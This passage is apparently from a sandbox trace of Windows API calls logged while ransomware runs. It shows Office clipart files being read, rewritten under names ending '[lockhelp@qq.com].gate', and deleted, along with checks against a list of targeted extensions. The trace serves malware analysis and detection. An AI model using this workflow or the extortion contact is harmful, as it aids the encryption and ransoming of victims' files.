Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0293.700] lstrlenW (lpString=".1cd") returned 4 [0293.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0293.700] lstrlenW (lpString=".jpg") returned 4 [0293.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.700] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3796) returned 1 [0293.700] CloseHandle (hObject=0x4c4) returned 1 [0293.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220 [0293.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0293.701] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.701] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0293.702] GetLastError () returned 0x0 [0293.702] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xed4, lpOverlapped=0x0) returned 1 [0294.023] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xee0, lpOverlapped=0x0) returned 1 [0294.024] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.024] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.024] SetEndOfFile (hFile=0x538) returned 1 [0294.025] CloseHandle (hObject=0x538) returned 1 [0294.025] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.025] SetEndOfFile (hFile=0x4c4) returned 1 [0294.027] CloseHandle (hObject=0x4c4) returned 1 [0294.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0294.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0294.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0294.028] lstrlenW (lpString=".doc") returned 4 [0294.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.028] lstrlenW (lpString=".docx") returned 5 [0294.028] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.028] lstrlenW (lpString=".pdf") returned 4 [0294.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.028] lstrlenW (lpString=".xls") returned 4 [0294.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.028] lstrlenW (lpString=".xlsx") returned 5 [0294.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.028] lstrlenW (lpString=".ppt") returned 4 [0294.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0294.028] lstrlenW (lpString=".zip") returned 4 [0294.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.028] lstrlenW (lpString=".rar") returned 4 [0294.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.028] lstrlenW (lpString=".bz2") returned 4 [0294.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.029] lstrlenW (lpString=".7z") returned 3 [0294.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0294.029] lstrlenW (lpString=".dbf") returned 4 [0294.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0294.029] lstrlenW (lpString=".1cd") returned 4 [0294.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0294.029] lstrlenW (lpString=".jpg") returned 4 [0294.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.029] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2024) returned 1 [0294.029] CloseHandle (hObject=0x4c4) returned 1 [0294.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220 [0294.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0294.030] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.030] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0294.030] GetLastError () returned 0x0 [0294.030] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x7e8, lpOverlapped=0x0) returned 1 [0294.110] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x7f0, lpOverlapped=0x0) returned 1 [0294.111] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.111] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.111] SetEndOfFile (hFile=0x538) returned 1 [0294.111] CloseHandle (hObject=0x538) returned 1 [0294.114] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.114] SetEndOfFile (hFile=0x4c4) returned 1 [0294.117] CloseHandle (hObject=0x4c4) returned 1 [0294.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0294.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0294.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0294.120] lstrlenW (lpString=".doc") returned 4 [0294.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.120] lstrlenW (lpString=".docx") returned 5 [0294.120] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.120] lstrlenW (lpString=".pdf") returned 4 [0294.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.120] lstrlenW (lpString=".xls") returned 4 [0294.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.120] lstrlenW (lpString=".xlsx") returned 5 [0294.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.120] lstrlenW (lpString=".ppt") returned 4 [0294.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0294.120] lstrlenW (lpString=".zip") returned 4 [0294.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.120] lstrlenW (lpString=".rar") returned 4 [0294.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.120] lstrlenW (lpString=".bz2") returned 4 [0294.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.120] lstrlenW (lpString=".7z") returned 3 [0294.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0294.120] lstrlenW (lpString=".dbf") returned 4 [0294.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0294.120] lstrlenW (lpString=".1cd") returned 4 [0294.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0294.120] lstrlenW (lpString=".jpg") returned 4 [0294.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.121] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1448) returned 1 [0294.121] CloseHandle (hObject=0x4c4) returned 1 [0294.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220 [0294.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0294.121] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.121] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc [0294.122] GetLastError () returned 0x0 [0294.122] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x5a8, lpOverlapped=0x0) returned 1 [0294.194] WriteFile (in: hFile=0x4fc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x5b0, lpOverlapped=0x0) returned 1 [0294.195] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.195] WriteFile (in: hFile=0x4fc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.195] SetEndOfFile (hFile=0x4fc) returned 1 [0294.195] CloseHandle (hObject=0x4fc) returned 1 [0294.195] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.195] SetEndOfFile (hFile=0x4c4) returned 1 [0294.320] CloseHandle (hObject=0x4c4) returned 1 [0294.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0294.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0294.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0294.321] lstrlenW (lpString=".doc") returned 4 [0294.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.321] lstrlenW (lpString=".docx") returned 5 [0294.321] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.321] lstrlenW (lpString=".pdf") returned 4 [0294.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.322] lstrlenW (lpString=".xls") returned 4 [0294.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.322] lstrlenW (lpString=".xlsx") returned 5 [0294.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.322] lstrlenW (lpString=".ppt") returned 4 [0294.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0294.322] lstrlenW (lpString=".zip") returned 4 [0294.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.322] lstrlenW (lpString=".rar") returned 4 [0294.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.322] lstrlenW (lpString=".bz2") returned 4 [0294.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.322] lstrlenW (lpString=".7z") returned 3 [0294.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0294.322] lstrlenW (lpString=".dbf") returned 4 [0294.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0294.322] lstrlenW (lpString=".1cd") returned 4 [0294.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0294.322] lstrlenW (lpString=".jpg") returned 4 [0294.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.323] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1768) returned 1 [0294.323] CloseHandle (hObject=0x4c4) returned 1 [0294.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220 [0294.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0294.323] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.324] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0294.324] GetLastError () returned 0x0 [0294.324] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x6e8, lpOverlapped=0x0) returned 1 [0294.443] WriteFile (in: hFile=0x4e8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x6f0, lpOverlapped=0x0) returned 1 [0294.444] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.444] WriteFile (in: hFile=0x4e8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.444] SetEndOfFile (hFile=0x4e8) returned 1 [0294.444] CloseHandle (hObject=0x4e8) returned 1 [0294.444] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.444] SetEndOfFile (hFile=0x4c4) returned 1 [0294.462] CloseHandle (hObject=0x4c4) returned 1 [0294.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0294.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0294.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0294.472] lstrlenW (lpString=".doc") returned 4 [0294.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.472] lstrlenW (lpString=".docx") returned 5 [0294.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.472] lstrlenW (lpString=".pdf") returned 4 [0294.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.472] lstrlenW (lpString=".xls") returned 4 [0294.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.472] lstrlenW (lpString=".xlsx") returned 5 [0294.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.472] lstrlenW (lpString=".ppt") returned 4 [0294.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0294.472] lstrlenW (lpString=".zip") returned 4 [0294.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.473] lstrlenW (lpString=".rar") returned 4 [0294.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.473] lstrlenW (lpString=".bz2") returned 4 [0294.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.473] lstrlenW (lpString=".7z") returned 3 [0294.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0294.473] lstrlenW (lpString=".dbf") returned 4 [0294.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0294.473] lstrlenW (lpString=".1cd") returned 4 [0294.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0294.473] lstrlenW (lpString=".jpg") returned 4 [0294.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.476] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2324) returned 1 [0294.476] CloseHandle (hObject=0x4f0) returned 1 [0294.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0294.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0294.483] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.483] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0294.490] GetLastError () returned 0x0 [0294.490] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x914, lpOverlapped=0x0) returned 1 [0294.788] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x920, 